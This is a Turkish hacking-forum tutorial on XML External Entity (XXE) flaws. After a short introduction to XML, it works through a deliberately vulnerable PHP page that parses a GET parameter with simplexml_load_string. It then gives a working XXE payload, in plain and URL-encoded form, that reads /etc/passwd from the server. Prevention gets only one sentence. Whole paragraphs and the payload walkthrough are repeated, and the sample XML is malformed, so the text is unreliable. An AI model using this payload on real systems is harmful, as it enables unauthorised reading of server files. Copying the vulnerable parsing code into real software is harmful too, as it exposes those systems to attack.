Selamlar Sayın Türk Hack Team Üyeleri
Bu konumda sizlere XXE Zafiyeti (XML External Entity) nedir , nasıl sömürülür onu anlatacağım.
Öncelikle XEE Zafiyetini anlamamız için XML nedir onu öğrenelim.
XML NEDİR ?
XML, Tim Berners Lee (HTML'yi tasarlayan kişi) tarafından tasarlanmış bir "Genişletilebilir İşaretleme Dili"dir. İnsanlar ve bilgi işlem sistemleri tarafından kolayca okunabilecek dokümanlar oluşturmak için ortaya çıkartılmış, W3C (World Wide Web Consortium) tarafından tanımlanmış bir standarttır. Bu özelliği ile veri saklamanın yanında farklı sistemlerin arasında data(veri) alış-verişi yapmaya yarayan bir ara format görevi de görmektedir. Dosya uzantıları .xml'dir
Örnek Bir XML Dosya İçeriği :
Öncelikle XEE Zafiyetini anlamamız için XML nedir onu öğrenelim.
XML NEDİR ?
XML, Tim Berners Lee (HTML'yi tasarlayan kişi) tarafından tasarlanmış bir "Genişletilebilir İşaretleme Dili"dir. İnsanlar ve bilgi işlem sistemleri tarafından kolayca okunabilecek dokümanlar oluşturmak için ortaya çıkartılmış, W3C (World Wide Web Consortium) tarafından tanımlanmış bir standarttır. Bu özelliği ile veri saklamanın yanında farklı sistemlerin arasında data(veri) alış-verişi yapmaya yarayan bir ara format görevi de görmektedir. Dosya uzantıları .xml'dir
Örnek Bir XML Dosya İçeriği :
XML:
<?xml version="1.0" encoding="utf-8"?>
<uyeler>
<uye id="1">
<nick>Loux</nick>
<pass>turkhackteam</pass>
</uyeler>
Peki XXE Açığı Nedir ?
XXE Zafiyeti ile neler yapılabilir ilk olarak bunlardan bahsedelim. XXE zafiyeti ile sistemimizdeki hassas dosyalar okunabilir ve bazı özel durumlarda sistemde komut çalıştırılabilir. Bunların ne denli önemli olduğu aşikardır. Eski bir örnek verecek olursak “My Fullxml website” anahtar kelimesini google da arattığımızda karşımıza gelen sonuçlardan /db/member.xml uzantısına sahip olan sitelerde admin password bilgileri bulunabiliyordu. Böylelikle sitede admin yetkisi ile giriş yapılabilmekteydi.
Web sitesinin XML veriyi okuyup değerlendirirken, araya kendi xml komutlarımızı yerleştirip bu komutlar aracılığıyla “Arbitrary File Read”, “Command Execution” gibi kritik zaafiyetler elde edebildiğimiz bir güvenlik açığıdır.
Bir siteye girdiğimizde ve herhangi bir işlem yapmaya başladığımızda client ile server arasında veri alışverişi başlar. XML zaafiyetinin çalışma mantığı da söz edilen veri alışverişinden pek farklı değildir, bizim isteklerimiz karşı taraftaki sunucuya gider ve giderken clientin yaptığı isteği de beraberinde götürür ardından sunucu gelen isteği kendince yorumlayarak tekrar cliente gönderir. İste tam da bu sırada client sunucuya istek yaparken gönderilen XML verisinin manipüle edilmesi ile sunucu gelen isteği parse ederek cliente yollar fakat geri yollanan veriler artık manipüle edilmiştir.
XXE Zafiyeti Nasıl Önlenir ?
Neredeyse tüm XXE güvenlik açıkları, uygulamanın XML ayrıştırma kitaplığının, uygulamanın ihtiyaç duymadığı veya kullanmayı düşünmediği, potansiyel olarak tehlikeli XML özelliklerini desteklemesi nedeniyle ortaya çıkar. XXE saldırılarını önlemenin en kolay ve etkili yolu bu özellikleri devre dışı bırakmaktır.
XXE Injection Örnek Seneryolar
PHP:
<?php require_once("../header.php"); ?>
Hello
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>
<?php require_once("../footer.php"); ?>
Burada xml adında bir değişken tanımlanmıştır. Ve bu değişkende php modülü olan “simplexml_load_string” kullanılmıştır. Bunun diğer bir örneği ise “simplexml_load_file” dır. simplexml_load_file modülünde xml dosyası okunmaktadır. simplexml_load_string modülü ise kendi dökümanlarında belirttiğine göre bir xml dizgesini bir nesne haline getirmektedir. Daha sonra GET isteği ile parametreden gelen xml verisini print_r ile sayfaya bastırmaktadır. Alınan parametre sayfaya bastırılırken “Hello” kelimesinin yanına eklenmektedir. Kaynak kodu inceledikten sonra sayfada uygulamaya geçelim.
Sayfayı incelediğimizde url kısmında ‘xml=’ ile kullanıcıdan bir parametre almakta ve bunu sayfada bastırmaktadır. <test>hacker</test> kodu ile hacker string nesnesi xml değişkenine atanmakta ve sayfada bastırılmaktadır. Bu kod daha önce belirttiğimiz şekilde kullanıcı tarafından belirlenmiş tagler kullanılarak oluşturulmuştur. Biz tagler içerisinde değilde sadece string bir ifadeyi xml= kısmına girerek deneyelim.
Bu şekilde url kısmında xml=Canyoupwnme olarak girdiğimizde hata ile karşılaşmaktayız. Hatada ‘<‘ ile başlayan bir tag bulunmadığını belirtmektedir. Demek ki göndereceğimiz parametre ‘<‘ gibi taglerle belirtilmesi gerekmektedir. Söylenildiği şekilde deneyelim fakat <test> tagi ile değil de xml özelliğinde belirtiğimiz kullanıcılar tagleri kendi oluşturabilir ifadesinden yola çıkarak kendi tagimizi oluşturalım ve öyle deneyelim. Örneğin <deneme>Canyoupwnme</deneme> gibi ;
Görüldüğü üzere oluşturduğumuz tag bir sıkıntı çıkarmadı ve bize Canyoupwnme yazısını bastırdı. Bunu bildiğimize göre artık sistemdeki hassas dosyalara erişmeye yönelik çalışmalar yapalım. Örneğin şöyle bir kodu enjekte etmeye çalışalım.
<!DOCTYPE deneme [<!ENTITY canyoupwnme SYSTEM "file:///etc/passwd">]><deneme>&canyoupwnme;</deneme>
Bu payload ile deneme tagleri arasında canyoupwnme değişkenini kullanarak /etc/passwd dosyasını çağıralım.
Payloadımız işe yaramadı ve bir hatayla karşılaştık. “Parser error” payloadımız parse edilirken sorunla karşılaştı. Bu payloadı birde bazı sistemlerde karşılaştığımız gibi url encode ile deneyelim.
Payload: <!DOCTYPE deneme [<!ENTITY canyoupwnme SYSTEM “file:///etc/passwd”>]><deneme>&canyoupwnme;</deneme>
Payload Url Encode : %3C!DOCTYPE%20deneme%20%5B%3C!ENTITY%20canyoupwnme%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cdeneme%3E%26canyoupwnme%3B%3C%2Fdeneme%3E
Böylelikle payloadımız çalışmış oldu ve sistemdeki /etc/passwd dosyasına erişmiş olduk.
Görüldüğü üzere oluşturduğumuz tag bir sıkıntı çıkarmadı ve bize Canyoupwnme yazısını bastırdı. Bunu bildiğimize göre artık sistemdeki hassas dosyalara erişmeye yönelik çalışmalar yapalım. Örneğin şöyle bir kodu enjekte etmeye çalışalım.
<!DOCTYPE deneme [<!ENTITY canyoupwnme SYSTEM "file:///etc/passwd">]><deneme>&canyoupwnme;</deneme>
Bu payload ile deneme tagleri arasında canyoupwnme değişkenini kullanarak /etc/passwd dosyasını çağıralım.
Payloadımız işe yaramadı ve bir hatayla karşılaştık. “Parser error” payloadımız parse edilirken sorunla karşılaştı. Bu payloadı birde bazı sistemlerde karşılaştığımız gibi url encode ile deneyelim.
Payload: <!DOCTYPE deneme [<!ENTITY canyoupwnme SYSTEM “file:///etc/passwd”>]><deneme>&canyoupwnme;</deneme>
Payload Url Encode : %3C!DOCTYPE%20deneme%20%5B%3C!ENTITY%20canyoupwnme%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cdeneme%3E%26canyoupwnme%3B%3C%2Fdeneme%3E
Böylelikle payloadımız çalışmış oldu ve sistemdeki /etc/passwd dosyasına erişmiş olduk.







